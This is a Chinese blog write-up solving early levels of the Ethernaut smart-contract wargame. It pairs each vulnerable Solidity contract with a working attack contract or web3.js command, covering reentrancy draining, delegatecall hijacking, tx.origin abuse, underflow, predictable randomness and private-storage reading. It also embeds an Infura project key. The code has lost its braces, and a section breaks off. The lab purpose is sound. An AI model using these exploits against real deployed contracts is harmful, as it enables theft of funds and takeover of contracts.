Ethernaut 靶场刷题(上)

Posted bfengj

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Ethernaut 靶场刷题(上)相关的知识,希望对你有一定的参考价值。

前言

看了一下ctfwiki上的,前面的知识点看起来还算不那么费劲,但是突然就是学个几天就开始上手比赛题属实太难了。。。所以先从简单的区块链靶场刷起,循序渐进,慢慢学习区块链的相关知识。

靶场链接:
The Ethernaut

Hello Ethernaut

算是新手教程了,具体的前面的一些搭建,还有获取Rinkeby环境下的ETH的方式就不说了,靶场上也都说的比较清楚了。用help()可以得到一些常用的帮助,因为异步的问题,我们需要在函数前面加上await
contract可以查看合约对象:

contract.abi可以查看合约的function:

await contract.info()可以Look into the levels’s info method。
然后这一关就一步一步来就可以了,其实看了abi也就知道有哪些方法了:

然后点submit即可。

Fallback

看一下代码:

pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback 

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public 
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  

  modifier onlyOwner 
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    

  function contribute() public payable 
    require(msg.value < 0.001 ether);   //发送少于0.001 ether
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner])    //基本不可能
      owner = msg.sender; 
    
  

  function getContribution() public view returns (uint) 
    return contributions[msg.sender];  //返回当前的contributions
  

  function withdraw() public onlyOwner 
    owner.transfer(address(this).balance);
  

  fallback() external payable 
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  


题目要求:

  1. you claim ownership of the contract
  2. you reduce its balance to 0

想成为owner这里可以做到:

  fallback() external payable 
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  

但是需要contributions[msg.sender] > 0,还需要先在这里给一次钱:

  function contribute() public payable 
    require(msg.value < 0.001 ether);   //发送少于0.001 ether
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner])    //基本不可能
      owner = msg.sender; 
    
  

但是怎么就是调用函数的时候给钱我就不会看,看了一下师傅们是这样:

await contract.contribute(value: 1)
await contract.sendTransaction(value: 1)
// 上两步成为了 owner,下一步把合约的钱转走
await contract.withdraw()

调用函数给钱是value:1,直接给合约钱是sendTransaction

Fallout

相比前一题更简单了,要求:

Claim ownership of the contract below to complete this level.

因此直接用这个构造函数(其实并不是,注意合约叫Fallout,但是这个函数叫Fal1out)就可以了:

  /* constructor */
  function Fal1out() public payable 
    owner = msg.sender;
    allocations[owner] = msg.value;
  
await contract.Fal1out()

就算改名也不行,因为这题是在0.6.0,已经不支持和合约同名的构造函数了。

Coin Flip

源码:

pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip 

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public 
    consecutiveWins = 0;
  

  function flip(bool _guess) public returns (bool) 
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) 
      revert();
    

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) 
      consecutiveWins++;
      return true;
     else 
      consecutiveWins = 0;
      return false;
    
  

要连续猜中10次,是随机数的问题了,隐约还记得区块链的随机数问题很大,查了一下,确实是区块链随机数的问题。
因为这里:uint256 blockValue = uint256(blockhash(block.number.sub(1)));,这个值是我们可以在本地算出来的,再加上FACTOR也是知道的,因此就可以直接攻击。


还可以再学习一下区块链的一些知识,虽然只是稍微的了解:
区块链入门教程

写个攻击POC:

pragma solidity ^0.6.0;



interface CoinFlip 
  function flip(bool _guess) external returns (bool) ;


contract Attack 
    CoinFlip constant private target = CoinFlip(0x41b21013f1470Fcd1e08988ef87ed88aD38037a1);
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    function feng() public 
        uint256 blockValue = uint256(blockhash(block.number-1));
        uint256 coinFlip = blockValue/FACTOR;
        bool side = coinFlip == 1 ? true : false;
        target.flip(side);
    

只要能成功的发送10次feng()函数就可以了。因为在本地进行了预测。
但是其中可能会有失败的,主要还是因为:

    if (lastHash == blockValue) 
      revert();
    

即一个区块只能成功一次,而:

因此并不是那种10分钟才能弄一次。

Telephone

源码:

pragma solidity ^0.6.0;

contract Telephone 

  address public owner;

  constructor() public 
    owner = msg.sender;
  

  function changeOwner(address _owner) public 
    if (tx.origin != msg.sender) 
      owner = _owner;
    
  

Claim ownership of the contract below to complete this level.即可通关。
看了一下,主要是考察tx.origin和msg.sender的区别

ctfwiki上解释的就比较清楚:

因此我们只需要部署一个合约,在合约中调用这个题目中的changeOwner,这样题目中的tx.origin是我们自己,而msg.sender是我们部署的那个合约。

pragma solidity ^0.6.0;

contract Telephone 

  address public owner;

  constructor() public 
    owner = msg.sender;
  

  function changeOwner(address _owner) public 
    if (tx.origin != msg.sender) 
      owner = _owner;
    
  


contract Attack 
    Telephone constant private target = Telephone(0x6F28D4210D178F6B37bFBe8D1dD8b08402EaC12a);
    function hack() public 
        target.changeOwner(msg.sender);
    

Token

pragma solidity ^0.6.0;

contract Token 

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public 
    balances[msg.sender] = totalSupply = _initialSupply;
  

  function transfer(address _to, uint _value) public returns (bool) 
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  

  function balanceOf(address _owner) public view returns (uint balance) 
    return balances[_owner];
  

挺简单的了,关注这里:require(balances[msg.sender] - _value >= 0);
因为balances[msg.sender]value都是uint,因此他们相减的结果一定仍然是uint(可能会存在下溢出),所以一定大于等于0
然后下面出现下溢出:balances[_to] += _value;,使得余额变得很多。
直接打就行了await contract.transfer("0xc6Ef69fBCEFc582E248b32fDB48f9BC685F6b1b1",21)
因此初始余额是20,所以减21。

Delegation

pragma solidity ^0.6.0;

contract Delegate 

  address public owner;

  constructor(address _owner) public 
    owner = _owner;
  

  function pwn() public 
    owner = msg.sender;
  


contract Delegation 

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public 
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  

  fallback() external 
    (bool result, bytes memory data) = address(delegate).delegatecall(msg.data);
    if (result) 
      this;
    
  

大致审一下,考察的应该是delegatecall的问题。

  • call: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境(合约的 storage)。
  • delegatecall: 调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境。
  • callcode: 调用后内置变量 msg 的值会修改为调用者,但执行环境为调用者的运行环境。

因为执行环境会变成调用者的环境,这个调用者即是Delegation合约,因此虽然调用的是Delegate合约里的pwn函数,但是修改的并不是Delegate合约里的owner,而是Delegation里的owner。
知道了原理就相当于直接让delegatecall调用pwn函数就可以了,关键是msg.data怎么构造,我不知道用solidity在remix上应该怎么弄,也没查到。
WP是用的web3.js:

await contract.sendTransaction(data:0xdd365b8b);

至于这个函数前面的值,在本地算一下就可以了:

pragma solidity ^0.4.0;

contract B 
    bytes4 public result;
    function test() public  
        result = bytes4(keccak256("pwn()"));
    

太菜了主要还不太懂web3.js,看来剩下的题目要暂时咕几天,先去学习一下web3.js。

后来
发现了就是Remix上的这个功能:

把题目的代码复制上去,然后点At Address,就可以在Remix进行交互:

但是这似乎还是没区别。注意下面的Low level interactions,之前一直都没用过。
参考文章:Low level interactions on Remix IDE

因此这里就相当于直接可以调用那个fallback函数,而且下面的框里面输入的就是calldata:

因此直接搞即可。但是后来发现失败了:

还有个坑,就是gas限制的问题:

29858太小了,虽然说是交易成功,但是要仔细看交易的Details才能知道是因为gas不够而失败了。日!突然发现之前好像就是因为这个坑卡了几个小时还没解决,之前的那些问题似乎都是因为gas这个限制太小了,所以我们给它稍微加大一点,就可以成功了。

Force

给了一个空的合约,要求:
The goal of this level is to make the balance of the contract greater than zero.

直接利用selfdestruct即可:

因此强制转账:

pragma solidity ^0.6.0;

contract Feng 
    function attack(address _addr) payable public 
        selfdestruct(payable(_addr));
    

记得调用attack的时候给合约转1 wei。

Vault

pragma solidity ^0.6.0;

contract Vault 
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public 
    locked = true;
    password = _password;
  

  function unlock(bytes32 _password) public 
    if (password == _password) 
      locked = false;
    
  


考察的就是Solidity中变量的可见性问题了:
合约变量的「皇帝新衣」| 外部读取状态变量——漏洞分析连载之九期
虽然password设置成了private无法查看,但:

因为这个私有仅限于合约层面的私有,合约之外依然可以读取。

合约使用外界未知的私有变量。虽然变量是私有的,无法通过另一合约访问,但是变量储存进 storage 之后仍然是公开的。我们可以使用区块链浏览器(如 etherscan)观察 storage 变动情况,或者计算变量储存的位置并使用 Web3 的 api 获得私有变量值

说白了就是只要能计算出那个私有变量在storage中的位置,就直接调用Web3的api来获得那个变量值。
我不想用题目的环境直接打,尝试自己学一下web3.js,参考链接:
web3.js 教程
利用infura来访问节点,记得改一下ENDPOINTS。
看一下位置,bool占用slot0,因此password在slot1,直接获得即可:

const Web3 = require('web3');
const rpcURL = "https://rinkeby.infura.io/v3/2ab0c9f096474b2a8b7b60a25ded6c21";
const web3 = new Web3(rpcURL);


web3.eth.getStorageAt("0x40c4BfC852EdE4D3D05B0ed0886344864f4cB149", "1", function(x,y)console.info(y);)

得到0x412076657279207374726f6e67207365637265742070617373776f7264203a29,解码得到A very strong secret password :)
传过去即可解锁:

It’s important to remember that marking a variable as private only prevents other contracts from accessing it. State variables marked as private and local variables are still publicly accessible.
To ensure that data is private, it needs to be encrypted before being put onto the blockchain. In this scenario, the decryption key should never be sent on-chain, as it will then be visible to anyone who looks for it. zk-SNARKs provide a way to determine whether someone possesses a secret parameter, without ever having to reveal the parameter.

King

看一下题目的要求:
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
意思是submit的时候环境会尝试取代你的king,如果题目没有成功的话你就赢了。
主要还是这里:

king.transfer(msg.value);

考察了一下transfer:

如果transfer执行失败会进行回退,而call和send函数则不是,而是返回一个false,因此这就是为什么需要检查call和send的返回值的原因。
因此直接写个合约,在里面fallback抛出异常即可。

pragma solidity ^0.6.0;

contract Feng
    address target = 0x20b5Ff3460aE2a6C7D8fdE858CD1C6e1311445D4;
    function attack() payable public 
        target.callvalue : 1 ether("");
    
    fallback() external payable 
        require(false);
    

Re-entrancy

重入攻击,具体的知识点不提了,遇到好几次了。
过关的条件一开始很迷,重入攻击构造出来了,还利用了下溢出,但是不知道该怎么过关。
The goal of this level is for you to steal all the funds from the contract.
其实就是合约的余额初始是 1ether,然后我们给他donate,它的余额还会增加,利用重入攻击把合约的钱都拿出来就行了:

pragma solidity ^0.6.0;

contract Feng 
    address target = 0x6f28304754abDd1c6511ed74d7E548fff87eFE9a;
    function hack() payable public 
        target.callvalue:1 ether(abi.encodeWithSignature("donate(address)",this));
        target.call(abi.encodeWithSignature("withdraw(uint256)",1 ether));
        
    
    fallback() payable external 
        target.call(abi.encodeWithSignature("withdraw(uint256)",1 ether));
    

wait getBalance(contract.address)可以查看合约的余额。

Elevator

也很简单,让top为true即可。

    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) 
      floor = _floor;
      top = building.isLastFloor(floor);
    

构造个Building合约,实现接口中的信息,然后让第一次调用isLastFloor返回false,第二次调用isLastFloor返回true即可:

pragma solidity ^0.6.0;


contract Building 
    address public target = 0x802450E17Ad3e0D1484bb8817EF76505FFB7FcB1;
    bool public flag = false;
    function isLastFloor(uint) external returns (bool)
        if(flag == false)
            flag = true;
            return false;
        
        return true;
    
    function attack() public 
        target.call(abi.encodeWithSignature("goTo(uint256)",1));
    

Privacy

还是private的值不知道:

  bool public locked = true;   //0
  uint256 public ID = block.timestamp;   //1
  uint8 private flattening = 10;      //2
  uint8 private denomination = 255;     //2
  uint16 private awkwardness = uint16(now);     //2
  bytes32[3] private data;       // 3 4 5

算出data[2]在slot 5,然后还是web3.js直接getStorageAt就行了:

const Web3 = require('web3');
const rpcURL = "https://rinkeby.infura.io/v3/2ab0c9f096474b2a8b7b60a25ded6c21";
const web3 = new Web3(rpcURL);


const address = "0x6d94A5398Ea81aFb2C6961d1f45dfdC347b17996"

web3.eth.getStorageAt(address,"5",function(x,y)console.info(y););
pragma solidity ^0.6.0;


contract Feng 
    address public target = 0x6d94A5398Ea81aFb2C6961d1f45dfdC347b17996;
    bytes32 public data = 0x6d95528ed3daa151fd935b44136df24bce871b1f40ccaced0e5f4b6d32777209;
    bytes16 public key = bytes16(data);
    function attack() public 
        target.call(abi.encodeWithSignature("unlock(bytes16)",key));
    

Gatekeeper One

感觉很迷的一道题。

pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Gatekeeper

以上是关于Ethernaut 靶场刷题(上)的主要内容,如果未能解决你的问题,请参考以下文章

[区块链安全-Ethernaut]区块链智能合约安全实战-连载中

区块链骇客第一讲:重入攻击

新学期新环境学习计划

CTF的区块链入门资料

满分华为OD机试真题2023 JAVA&JS区块链文件转储系统

区块链系统,探讨区块链系统的奥秘